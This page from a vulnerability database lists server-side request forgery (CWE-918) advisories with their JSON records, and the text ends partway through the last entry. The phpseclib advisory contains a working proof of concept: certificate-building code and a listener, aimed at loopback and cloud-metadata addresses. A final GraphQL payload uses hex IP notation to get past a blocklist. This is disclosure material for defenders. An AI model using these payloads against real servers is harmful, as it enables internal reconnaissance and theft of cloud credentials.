CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4698 vulnerabilities reference this CWE, most recent first.
GHSA-M3X5-X584-4RHH
Vulnerability from github – Published: 2022-05-24 17:20 – Updated: 2022-10-06 00:00SAP Netweaver AS ABAP, versions 700, 701, 702, 710, 711, 730, 731, 740, 750, 751, 752, 753, 754, are vulnerable for Server Side Request Forgery Attack where in an attacker can use inappropriate path names containing malicious server names in the import/export of sessions functionality and coerce the web server into authenticating with the malicious server. Furthermore, if NTLM is setup the attacker can compromise confidentiality, integrity and availability of the SAP database.
{
"affected": [],
"aliases": [
"CVE-2020-6275"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-06-10T13:15:00Z",
"severity": "MODERATE"
},
"details": "SAP Netweaver AS ABAP, versions 700, 701, 702, 710, 711, 730, 731, 740, 750, 751, 752, 753, 754, are vulnerable for Server Side Request Forgery Attack where in an attacker can use inappropriate path names containing malicious server names in the import/export of sessions functionality and coerce the web server into authenticating with the malicious server. Furthermore, if NTLM is setup the attacker can compromise confidentiality, integrity and availability of the SAP database.",
"id": "GHSA-m3x5-x584-4rhh",
"modified": "2022-10-06T00:00:57Z",
"published": "2022-05-24T17:20:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-6275"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/2912939"
},
{
"type": "WEB",
"url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=547426775"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M435-9V6R-V5F6
Vulnerability from github – Published: 2025-06-27 20:43 – Updated: 2025-06-27 20:43Summary
The fix for the "SSRF Vulnerability on assetlinks_check(act_name, well_knowns)" vulnerability could potentially be bypassed.
Details
Since the requests.get() request in the _check_url method is specified as allow_redirects=True, if "https://mydomain.com/.well-known/assetlinks.json" returns a 302 redirect, subsequent requests will be sent automatically. If the redirect location is "http://192.168.1.102/user/delete/1", a request will be sent here as well.
It will be safer to use allow_redirects=False.
Impact
The attacker can cause the server to make a connection to internal-only services within the organization's infrastructure.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mobsf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.9.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-54000"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-27T20:43:48Z",
"nvd_published_at": "2024-12-03T16:15:24Z",
"severity": "HIGH"
},
"details": "### Summary\nThe fix for the \"SSRF Vulnerability on assetlinks_check(act_name, well_knowns)\" vulnerability could potentially be bypassed.\n\n### Details\nSince the requests.get() request in the _check_url method is specified as allow_redirects=True, if \"https://mydomain.com/.well-known/assetlinks.json\" returns a 302 redirect, subsequent requests will be sent automatically. If the redirect location is \"http://192.168.1.102/user/delete/1\", a request will be sent here as well.\n\n\u003cimg width=\"610\" alt=\"image\" src=\"https://github.com/MobSF/Mobile-Security-Framework-MobSF/assets/150332295/a8c9630e-3d12-441a-816c-8f5e427a5194\"\u003e\n\nIt will be safer to use allow_redirects=False.\n\n### Impact\nThe attacker can cause the server to make a connection to internal-only services within the organization\u0027s infrastructure.",
"id": "GHSA-m435-9v6r-v5f6",
"modified": "2025-06-27T20:43:49Z",
"published": "2025-06-27T20:43:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-m435-9v6r-v5f6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54000"
},
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/f22c584aa7d43527970c9da61eb678953cfc0a8e"
},
{
"type": "PACKAGE",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/mobsf/PYSEC-2024-256.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "MobSF vulnerability allows SSRF due to the allow_redirects=True parameter"
}
GHSA-M43M-6GCH-QGC7
Vulnerability from github – Published: 2022-06-25 00:00 – Updated: 2022-07-01 00:01IBM Jazz Team Server 6.0.6, 6.0.6.1, 7.0, 7.0.1, and 7.0.2 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 198931.
{
"affected": [],
"aliases": [
"CVE-2021-20544"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-24T17:15:00Z",
"severity": "MODERATE"
},
"details": "IBM Jazz Team Server 6.0.6, 6.0.6.1, 7.0, 7.0.1, and 7.0.2 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 198931.",
"id": "GHSA-m43m-6gch-qgc7",
"modified": "2022-07-01T00:01:14Z",
"published": "2022-06-25T00:00:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20544"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/198931"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6597513"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M47R-62MW-66MC
Vulnerability from github – Published: 2026-01-22 18:30 – Updated: 2026-01-29 03:31Server-Side Request Forgery (SSRF) vulnerability in Marco van Wieren WPO365 wpo365-login allows Server Side Request Forgery.This issue affects WPO365: from n/a through <= 40.0.
{
"affected": [],
"aliases": [
"CVE-2025-67961"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-22T17:16:05Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Marco van Wieren WPO365 wpo365-login allows Server Side Request Forgery.This issue affects WPO365: from n/a through \u003c= 40.0.",
"id": "GHSA-m47r-62mw-66mc",
"modified": "2026-01-29T03:31:27Z",
"published": "2026-01-22T18:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67961"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/wpo365-login/vulnerability/wordpress-wpo365-plugin-40-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M4X8-8RRP-JPC6
Vulnerability from github – Published: 2022-05-24 17:32 – Updated: 2026-07-10 18:32SSRF exists in osTicket before 1.14.3, where an attacker can add malicious file to server or perform port scanning.
{
"affected": [],
"aliases": [
"CVE-2020-24881"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-02T21:15:00Z",
"severity": "CRITICAL"
},
"details": "SSRF exists in osTicket before 1.14.3, where an attacker can add malicious file to server or perform port scanning.",
"id": "GHSA-m4x8-8rrp-jpc6",
"modified": "2026-07-10T18:32:02Z",
"published": "2022-05-24T17:32:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24881"
},
{
"type": "WEB",
"url": "https://github.com/osTicket/osTicket/commit/d98c2d096aeb8876c6ab2f88317cd371d781f14d"
},
{
"type": "WEB",
"url": "https://blackbatsec.medium.com/cve-2020-24881-server-side-request-forgery-in-osticket-eea175e147f0"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/160995/osTicket-1.14.2-Server-Side-Request-Forgery.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M557-WRGG-6RP4
Vulnerability from github – Published: 2026-06-16 15:03 – Updated: 2026-07-08 17:37Summary
When an application validates an untrusted X.509 certificate with phpseclib, X509::validateSignature() reads a URL out of that certificate's Authority Information Access (AIA) extension and connects to it. Attacker who supplies certificate fully controls host, port, and path of that connection. URL fetching is enabled by default, and no destination is blocked. An unauthenticated attacker can therefore make a validating server open connections to internal hosts and ports it should never reach, for example loopback 127.0.0.1, cloud metadata address 169.254.169.254, and internal-only services. This is a server-side request forgery (SSRF) caused by an insecure default. It is reproducible on current released LTS 3.0.53 and on 4.0 development line.
Details
When no already-trusted certificate authority is the issuer of certificate under validation, validateSignatureCountable() continues to AIA fetching. Default for validateSignature() is caonly = true:
// phpseclib/File/X509.php:1316-1327 (4.0 development line, commit 74ada1a6)
if (!isset($signingCert)) {
if ($caonly) {
return $this->testForIntermediate(true, $count) && $this->validateSignature(true);
} else {
try {
$this->testForSelfSigned();
$signingCert = $this;
} catch (BadMethodCallException) {
return $this->testForIntermediate(true, $count) && $this->validateSignature(true);
}
}
}
testForIntermediate() takes URL straight out of certificate's AIA caIssuers field and fetches it. Value comes directly from certificate content and is never restricted:
// phpseclib/File/X509.php:1357-1391 (4.0 development line)
$opts = $this->getExtension('id-pe-authorityInfoAccess');
...
foreach ($opts['extnValue'] as $opt) {
if ($opt['accessMethod'] == 'id-ad-caIssuers') {
if (isset($opt['accessLocation']['uniformResourceIdentifier'])) {
$url = (string) $opt['accessLocation']['uniformResourceIdentifier']; // attacker controlled
break;
}
}
}
...
$cert = static::fetchURL($url); // server-side request forgery
fetchURL() connects to attacker host and port. There is no destination validation: no block on loopback, link-local, private, or metadata ranges, and no port restriction:
// phpseclib/File/X509.php:1456-1476 (4.0 development line)
private static function fetchURL(string $url): ?string
{
if (self::$disable_url_fetch) { // default false, so fetching happens
return null;
}
$parts = parse_url($url);
switch ($parts['scheme']) {
case 'http':
$fsock = @fsockopen($parts['host'], $parts['port'] ?? 80); // attacker host and port
...
fputs($fsock, "GET $path HTTP/1.0\r\n");
fputs($fsock, "Host: $parts[host]\r\n\r\n");
Fetching is on by default:
// phpseclib/File/X509.php:110 (4.0 development line)
private static bool $disable_url_fetch = false;
Same default-enabled logic exists in released 3.0.x. In 3.0.53 it sits at $disable_url_fetch = false on line 255 and fsockopen($parts['host'], ...) on line 1136 of phpseclib/File/X509.php.
Why this is a vulnerability and not merely a feature. AIA chasing is a legitimate capability described by RFC 4325, and this report does not claim fetching is wrong in itself. Vulnerability is the combination of three properties that together match definition of SSRF:
- URL comes from untrusted input. It is read out of certificate that an application is trying to validate, which is exactly the data an attacker controls.
- Fetching is enabled by default. An integrator who simply calls validateSignature() gets outbound requests with no opt-in. Only control, X509::disableURLFetch(), is off by default, so secure behaviour requires knowing about and calling a method that most callers never see.
- No destination is restricted. Loopback, private ranges, link-local metadata, and arbitrary ports are all reachable. Mature implementations of AIA fetching restrict destinations precisely to prevent this.
Reachability is not narrow. Fetch triggers whenever certificate's issuer is not already trusted, which an attacker arranges trivially by choosing any issuer name that is not in trust store. Having certificate authorities loaded does not protect a target: an attacker certificate that claims an unknown issuer still reaches testForIntermediate().
Response handling is blind. Fetched body is used only if it parses as a certificate, and is otherwise discarded, so an attacker does not directly read internal responses through this path. That limits confidentiality impact but does not remove request-forgery and reconnaissance capability.
PoC
Two reproductions follow: current released LTS 3.0.53, and 4.0 development line. Malicious certificate is plain PEM and is identical for both, since certificate format is the same across versions.
Build malicious certificate once (this uses 4.0 to build, but any tool that emits an X.509 certificate with an AIA caIssuers URL works):
composer require phpseclib/phpseclib:4.0.x-dev
<?php
require 'vendor/autoload.php';
use phpseclib4\Crypt\RSA;
use phpseclib4\File\X509;
$url = 'http://127.0.0.1:19090/ssrf';
$key = RSA::createKey(2048)->withPadding(RSA::SIGNATURE_PKCS1)->withHash('sha256');
$cert = new X509($key->getPublicKey());
$cert->addDNProp('id-at-commonName', 'attacker-leaf.example');
$cert->setEndDate('lifetime');
$cert->setExtension('id-pe-authorityInfoAccess', [
['accessMethod' => 'id-ad-caIssuers',
'accessLocation' => ['uniformResourceIdentifier' => $url]],
]);
$key->sign($cert);
file_put_contents('attacker_cert.pem', (string) $cert);
Stand up a listener that represents an internal service on a port that is not otherwise reachable from outside:
php -r '$s=stream_socket_server("tcp://127.0.0.1:19090",$e,$m);$c=stream_socket_accept($s,20);echo fread($c,4096);'
Reproduction on released LTS 3.0.53. Install it and have an application validate certificate:
composer require phpseclib/phpseclib:~3.0.0
<?php
require 'vendor/autoload.php';
use phpseclib3\File\X509;
$v = new X509();
$v->loadX509(file_get_contents('attacker_cert.pem'));
$v->validateSignature(); // connects to 127.0.0.1:19090 during validation
Reproduction on 4.0 development line. Same certificate, 4.0 namespace:
<?php
require 'vendor/autoload.php';
use phpseclib4\File\X509;
X509::clearCAStore(); // attacker cert issuer is not trusted
$v = X509::load(file_get_contents('attacker_cert.pem'));
$v->validateSignature(); // connects to 127.0.0.1:19090 during validation
Observed result, on both 3.0.53 and 4.0.x-dev. Listener receives a request whose host, port, and path all come from certificate, even though validateSignature() returns false:
GET /ssrf HTTP/1.0
Host: 127.0.0.1
This was also confirmed end to end over HTTP: an unauthenticated POST of certificate to an endpoint that calls loadX509() then validateSignature() makes server connect outbound to attacker-chosen 127.0.0.1:19090. Changing host and port in certificate reaches any internal address and port, for example 169.254.169.254 or 127.0.0.1:6379.
Negative control. With X509::disableURLFetch() set before validation, validation returns false and no outbound connection is made. This confirms both root cause and that default-on behaviour is the trigger.
Impact
This is a server-side request forgery (CWE-918) caused by an insecure default (CWE-276): URL fetching is enabled by default and applies no destination restrictions while acting on untrusted certificate content.
An application is affected when it validates an attacker-influenced certificate, which covers client-certificate checks implemented in PHP, S/MIME and CMS signer verification, document and code-signing validation, and any feature that verifies an uploaded or pasted certificate. No authentication and no user interaction are needed.
What an attacker gains:
- Internal reconnaissance and port scanning. Connection success or failure and timing reveal which internal hosts and ports respond.
- Interaction with internal-only HTTP services such as admin panels, dashboards, and webhooks bound to loopback or private ranges.
- Requests to cloud metadata endpoints such as 169.254.169.254, which answer plain HTTP GET on some providers.
Because fetch is blind, an attacker does not read internal response bodies through this path directly, so this is a request-forgery and reconnaissance primitive rather than direct disclosure of internal data. Any reflective sink elsewhere in an application, or any internal endpoint that performs an action on a GET, increases real impact.
Suggested fix, strongest first: default disableURLFetch to true so AIA chasing is opt-in; if it stays enabled, validate destinations inside fetchURL() by rejecting loopback, link-local, and private addresses and restricting ports, and add an egress policy callback similar to existing setCRLLookupCallback(); and state plainly in documentation that validating an untrusted certificate can cause outbound requests to URLs found inside that certificate.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.29"
},
"package": {
"ecosystem": "Packagist",
"name": "phpseclib/phpseclib"
},
"ranges": [
{
"events": [
{
"introduced": "0.1.1"
},
{
"fixed": "1.0.30"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.54"
},
"package": {
"ecosystem": "Packagist",
"name": "phpseclib/phpseclib"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.55"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.53"
},
"package": {
"ecosystem": "Packagist",
"name": "phpseclib/phpseclib"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.54"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55599"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T15:03:58Z",
"nvd_published_at": "2026-06-22T21:16:25Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWhen an application validates an untrusted X.509 certificate with phpseclib, **X509::validateSignature()** reads a URL out of that certificate\u0027s Authority Information Access (AIA) extension and connects to it. Attacker who supplies certificate fully controls host, port, and path of that connection. URL fetching is enabled by default, and no destination is blocked. An unauthenticated attacker can therefore make a validating server open connections to internal hosts and ports it should never reach, for example loopback **127.0.0.1**, cloud metadata address **169.254.169.254**, and internal-only services. This is a server-side request forgery (SSRF) caused by an insecure default. It is reproducible on current released LTS 3.0.53 and on 4.0 development line.\n\n### Details\n\nWhen no already-trusted certificate authority is the issuer of certificate under validation, **validateSignatureCountable()** continues to AIA fetching. Default for **validateSignature()** is **caonly = true**:\n\n```\n// phpseclib/File/X509.php:1316-1327 (4.0 development line, commit 74ada1a6)\nif (!isset($signingCert)) {\n if ($caonly) {\n return $this-\u003etestForIntermediate(true, $count) \u0026\u0026 $this-\u003evalidateSignature(true);\n } else {\n try {\n $this-\u003etestForSelfSigned();\n $signingCert = $this;\n } catch (BadMethodCallException) {\n return $this-\u003etestForIntermediate(true, $count) \u0026\u0026 $this-\u003evalidateSignature(true);\n }\n }\n}\n```\n\n**testForIntermediate()** takes URL straight out of certificate\u0027s AIA caIssuers field and fetches it. Value comes directly from certificate content and is never restricted:\n\n```\n// phpseclib/File/X509.php:1357-1391 (4.0 development line)\n$opts = $this-\u003egetExtension(\u0027id-pe-authorityInfoAccess\u0027);\n...\nforeach ($opts[\u0027extnValue\u0027] as $opt) {\n if ($opt[\u0027accessMethod\u0027] == \u0027id-ad-caIssuers\u0027) {\n if (isset($opt[\u0027accessLocation\u0027][\u0027uniformResourceIdentifier\u0027])) {\n $url = (string) $opt[\u0027accessLocation\u0027][\u0027uniformResourceIdentifier\u0027]; // attacker controlled\n break;\n }\n }\n}\n...\n$cert = static::fetchURL($url); // server-side request forgery\n```\n\n**fetchURL()** connects to attacker host and port. There is no destination validation: no block on loopback, link-local, private, or metadata ranges, and no port restriction:\n\n```\n// phpseclib/File/X509.php:1456-1476 (4.0 development line)\nprivate static function fetchURL(string $url): ?string\n{\n if (self::$disable_url_fetch) { // default false, so fetching happens\n return null;\n }\n $parts = parse_url($url);\n switch ($parts[\u0027scheme\u0027]) {\n case \u0027http\u0027:\n $fsock = @fsockopen($parts[\u0027host\u0027], $parts[\u0027port\u0027] ?? 80); // attacker host and port\n ...\n fputs($fsock, \"GET $path HTTP/1.0\\r\\n\");\n fputs($fsock, \"Host: $parts[host]\\r\\n\\r\\n\");\n```\n\nFetching is on by default:\n\n```\n// phpseclib/File/X509.php:110 (4.0 development line)\nprivate static bool $disable_url_fetch = false;\n```\n\nSame default-enabled logic exists in released 3.0.x. In 3.0.53 it sits at **$disable_url_fetch = false** on line 255 and **fsockopen($parts[\u0027host\u0027], ...)** on line 1136 of **phpseclib/File/X509.php**.\n\nWhy this is a vulnerability and not merely a feature. AIA chasing is a legitimate capability described by RFC 4325, and this report does not claim fetching is wrong in itself. Vulnerability is the combination of three properties that together match definition of SSRF:\n\n1. URL comes from untrusted input. It is read out of certificate that an application is trying to validate, which is exactly the data an attacker controls.\n2. Fetching is enabled by default. An integrator who simply calls **validateSignature()** gets outbound requests with no opt-in. Only control, **X509::disableURLFetch()**, is off by default, so secure behaviour requires knowing about and calling a method that most callers never see.\n3. No destination is restricted. Loopback, private ranges, link-local metadata, and arbitrary ports are all reachable. Mature implementations of AIA fetching restrict destinations precisely to prevent this.\n\nReachability is not narrow. Fetch triggers whenever certificate\u0027s issuer is not already trusted, which an attacker arranges trivially by choosing any issuer name that is not in trust store. Having certificate authorities loaded does not protect a target: an attacker certificate that claims an unknown issuer still reaches **testForIntermediate()**.\n\nResponse handling is blind. Fetched body is used only if it parses as a certificate, and is otherwise discarded, so an attacker does not directly read internal responses through this path. That limits confidentiality impact but does not remove request-forgery and reconnaissance capability.\n\n### PoC\n\nTwo reproductions follow: current released LTS 3.0.53, and 4.0 development line. Malicious certificate is plain PEM and is identical for both, since certificate format is the same across versions.\n\nBuild malicious certificate once (this uses 4.0 to build, but any tool that emits an X.509 certificate with an AIA caIssuers URL works):\n\n```\ncomposer require phpseclib/phpseclib:4.0.x-dev\n```\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse phpseclib4\\Crypt\\RSA;\nuse phpseclib4\\File\\X509;\n\n$url = \u0027http://127.0.0.1:19090/ssrf\u0027;\n\n$key = RSA::createKey(2048)-\u003ewithPadding(RSA::SIGNATURE_PKCS1)-\u003ewithHash(\u0027sha256\u0027);\n$cert = new X509($key-\u003egetPublicKey());\n$cert-\u003eaddDNProp(\u0027id-at-commonName\u0027, \u0027attacker-leaf.example\u0027);\n$cert-\u003esetEndDate(\u0027lifetime\u0027);\n$cert-\u003esetExtension(\u0027id-pe-authorityInfoAccess\u0027, [\n [\u0027accessMethod\u0027 =\u003e \u0027id-ad-caIssuers\u0027,\n \u0027accessLocation\u0027 =\u003e [\u0027uniformResourceIdentifier\u0027 =\u003e $url]],\n]);\n$key-\u003esign($cert);\nfile_put_contents(\u0027attacker_cert.pem\u0027, (string) $cert);\n```\n\nStand up a listener that represents an internal service on a port that is not otherwise reachable from outside:\n\n```\nphp -r \u0027$s=stream_socket_server(\"tcp://127.0.0.1:19090\",$e,$m);$c=stream_socket_accept($s,20);echo fread($c,4096);\u0027\n```\n\nReproduction on released LTS 3.0.53. Install it and have an application validate certificate:\n\n```\ncomposer require phpseclib/phpseclib:~3.0.0\n```\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse phpseclib3\\File\\X509;\n\n$v = new X509();\n$v-\u003eloadX509(file_get_contents(\u0027attacker_cert.pem\u0027));\n$v-\u003evalidateSignature(); // connects to 127.0.0.1:19090 during validation\n```\n\nReproduction on 4.0 development line. Same certificate, 4.0 namespace:\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse phpseclib4\\File\\X509;\n\nX509::clearCAStore(); // attacker cert issuer is not trusted\n$v = X509::load(file_get_contents(\u0027attacker_cert.pem\u0027));\n$v-\u003evalidateSignature(); // connects to 127.0.0.1:19090 during validation\n```\n\nObserved result, on both 3.0.53 and 4.0.x-dev. Listener receives a request whose host, port, and path all come from certificate, even though **validateSignature()** returns false:\n\n```\nGET /ssrf HTTP/1.0\nHost: 127.0.0.1\n```\n\nThis was also confirmed end to end over HTTP: an unauthenticated POST of certificate to an endpoint that calls **loadX509()** then **validateSignature()** makes server connect outbound to attacker-chosen **127.0.0.1:19090**. Changing host and port in certificate reaches any internal address and port, for example **169.254.169.254** or **127.0.0.1:6379**.\n\nNegative control. With **X509::disableURLFetch()** set before validation, validation returns false and no outbound connection is made. This confirms both root cause and that default-on behaviour is the trigger.\n\n### Impact\n\nThis is a server-side request forgery (CWE-918) caused by an insecure default (CWE-276): URL fetching is enabled by default and applies no destination restrictions while acting on untrusted certificate content.\n\nAn application is affected when it validates an attacker-influenced certificate, which covers client-certificate checks implemented in PHP, S/MIME and CMS signer verification, document and code-signing validation, and any feature that verifies an uploaded or pasted certificate. No authentication and no user interaction are needed.\n\nWhat an attacker gains:\n\n- Internal reconnaissance and port scanning. Connection success or failure and timing reveal which internal hosts and ports respond.\n- Interaction with internal-only HTTP services such as admin panels, dashboards, and webhooks bound to loopback or private ranges.\n- Requests to cloud metadata endpoints such as **169.254.169.254**, which answer plain HTTP GET on some providers.\n\nBecause fetch is blind, an attacker does not read internal response bodies through this path directly, so this is a request-forgery and reconnaissance primitive rather than direct disclosure of internal data. Any reflective sink elsewhere in an application, or any internal endpoint that performs an action on a GET, increases real impact.\n\nSuggested fix, strongest first: default **disableURLFetch** to true so AIA chasing is opt-in; if it stays enabled, validate destinations inside **fetchURL()** by rejecting loopback, link-local, and private addresses and restricting ports, and add an egress policy callback similar to existing **setCRLLookupCallback()**; and state plainly in documentation that validating an untrusted certificate can cause outbound requests to URLs found inside that certificate.",
"id": "GHSA-m557-wrgg-6rp4",
"modified": "2026-07-08T17:37:10Z",
"published": "2026-06-16T15:03:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/phpseclib/phpseclib/security/advisories/GHSA-m557-wrgg-6rp4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55599"
},
{
"type": "PACKAGE",
"url": "https://github.com/phpseclib/phpseclib"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "phpseclib: X.509 certificate validation sends attacker-controlled outbound requests (server-side request forgery) via Authority Information Access"
}
GHSA-M5HX-V4QV-JWGH
Vulnerability from github – Published: 2026-01-22 18:30 – Updated: 2026-01-28 18:30Server-Side Request Forgery (SSRF) vulnerability in WP Messiah Frontis Blocks frontis-blocks allows Server Side Request Forgery.This issue affects Frontis Blocks: from n/a through <= 1.1.5.
{
"affected": [],
"aliases": [
"CVE-2025-68030"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-22T17:16:08Z",
"severity": "HIGH"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in WP Messiah Frontis Blocks frontis-blocks allows Server Side Request Forgery.This issue affects Frontis Blocks: from n/a through \u003c= 1.1.5.",
"id": "GHSA-m5hx-v4qv-jwgh",
"modified": "2026-01-28T18:30:42Z",
"published": "2026-01-22T18:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68030"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/frontis-blocks/vulnerability/wordpress-frontis-blocks-plugin-1-1-5-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M5MQ-QMXJ-JM78
Vulnerability from github – Published: 2025-12-01 06:30 – Updated: 2025-12-01 06:30A vulnerability has been found in orionsec orion-ops up to 5925824997a3109651bbde07460958a7be249ed1. Affected by this issue is some unknown functionality of the file orion-ops-api/orion-ops-web/src/main/java/cn/orionsec/ops/controller/MachineInfoController.java of the component SSH Connection Handler. Such manipulation of the argument host/sshPort/username/password/authType leads to server-side request forgery. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. A patch should be applied to remediate this issue. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-13809"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-01T06:15:58Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in orionsec orion-ops up to 5925824997a3109651bbde07460958a7be249ed1. Affected by this issue is some unknown functionality of the file orion-ops-api/orion-ops-web/src/main/java/cn/orionsec/ops/controller/MachineInfoController.java of the component SSH Connection Handler. Such manipulation of the argument host/sshPort/username/password/authType leads to server-side request forgery. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. A patch should be applied to remediate this issue. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-m5mq-qmxj-jm78",
"modified": "2025-12-01T06:30:25Z",
"published": "2025-12-01T06:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13809"
},
{
"type": "WEB",
"url": "https://github.com/Xzzz111/exps/blob/main/archives/orion-ops-ssrf-1/report.md"
},
{
"type": "WEB",
"url": "https://github.com/Xzzz111/exps/blob/main/archives/orion-ops-ssrf-1/report.md#proof-of-concept"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.333819"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.333819"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.692069"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M5R2-8P9X-HP5M
Vulnerability from github – Published: 2026-02-09 20:35 – Updated: 2026-02-09 22:38I observed a recent commit intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.
Summary
The saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.
Proof of Concept
- Send the following GraphQL mutation:
mutation {
save_images_Asset(_file: {
url: "http://169.254.0xa9fe/latest/meta-data/"
